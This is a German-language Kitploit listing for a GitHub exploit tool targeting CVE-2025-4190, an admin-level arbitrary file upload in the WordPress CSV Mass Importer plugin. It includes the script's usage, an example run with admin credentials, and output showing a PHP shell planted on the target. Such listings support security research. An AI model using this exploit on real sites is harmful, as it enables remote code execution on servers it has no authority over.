Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/nxploited/cve-2025-4190
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubnxploited/cve-2025-4190

CVE-2025-4190

CSV Mass Importer <= 1.2 - Admin+ Beliebiger Datei-Upload

Repository anzeigen
3vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 Beliebiger Dateiupload

WordPress Plugin
CVE
Status
Author

📌 Beschreibung

Das CSV Mass Importer-Plugin (≤ 1.2) für WordPress enthält eine Admin+-Schwachstelle für beliebigen Dateiupload.
Aufgrund einer unzureichenden Validierung hochgeladener Dateien können Benutzer mit hohen Privilegien (wie Admin) beliebige Dateien auf den Server hochladen, selbst wenn dies eingeschränkt sein sollte – zum Beispiel in Multisite-Konfigurationen.

Diese Schwachstelle ermöglicht es einem Angreifer, PHP-Shells oder schädliche Dateien hochzuladen, was zu Remote-Code-Ausführung (RCE) auf dem Server führt.

Entdeckt von Nxploited (Khaled Alenazi).

🔥 Details

  • Plugin-Name: CSV Mass Importer
  • Betroffene Version: ≤ 1.2
Tool herunterladen
  • Schwachstellentyp: Admin+ Arbitrary File Upload
  • CVE: CVE-2025-4190
  • WPVDB ID: e525ece5-6e03-4aee-bf5b-6ae0b961f027
  • Ursprünglicher Forscher: Khaled Alenazi (Nxploited)
  • Einreicher-Website: https://github.com/Nxploited
  • Verifiziert: ✅

    • 💻 Proof of Concept (PoC)

    Das Plugin überprüft hochgeladene Dateien bei der CSV-Importfunktion nicht ordnungsgemäß.
    Eine manipulierte ZIP-Datei, die eine PHP-Shell enthält, kann hochgeladen und in ein öffentlich zugängliches Verzeichnis extrahiert werden.

    Beispiel für Shell-Pfad:

    root@kitploit:~
    <target-url>/wp-content/uploads/cmi-data/nxploited.php

    🚀 Verwendung

    Skript

    Dieses Repository enthält ein fertiges Python-Exploit-Skript: 4190.py

    Hilfemenü

    root@kitploit:~
    python CVE-2025-4190.py --help
usage: 4190.py [-h] --url URL --username USERNAME --password PASSWORD

WordPress CSV Mass Importer <= 1.2 - Admin+ Arbitrary File Upload # By Nxploited (Khaled Alenazi)

options:
  -h, --help            show this help message and exit
  --url, -u URL         Target WordPress site URL
  --username, -un USERNAME
                        WordPress admin username
  --password, -p PASSWORD
                        WordPress admin password

    Beispiel-Ausführung

    root@kitploit:~
    python CVE-2025-4190.py -u http://192.168.100.74:888/wordpress -un admin -p admin

    Erwartete Ausgabe

    root@kitploit:~
    [+] Logged in successfully.
[+] Payload 'nxploited.zip' created successfully.
[+] Payload uploaded successfully.
[+] Shell URL: http://192.168.100.74:888/wordpress/wp-content/uploads/cmi-data/nxploited.php
Exploited By Nxploited (Khaled_alenazi)

    🕰 Zeitleiste

    • Öffentlich veröffentlicht: 2025-04-26 (vor etwa 11 Tagen)
    • Zur Datenbank hinzugefügt: 2025-05-07 (vor etwa 1 Stunde)
    • Zuletzt aktualisiert: 2025-05-07 (vor etwa 1 Stunde)

    🛡 Referenzen

    • CVE-2025-4190 on WPScan

    ⚠ Haftungsausschluss

    Dieser Code wird ausschließlich zu Bildungszwecken bereitgestellt.
    Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.
    Verwenden Sie es verantwortungsvoll und nur auf Systemen, die Sie testen dürfen.

    Entdeckt und entwickelt von Khaled Alenazi (Nxploited) 🌟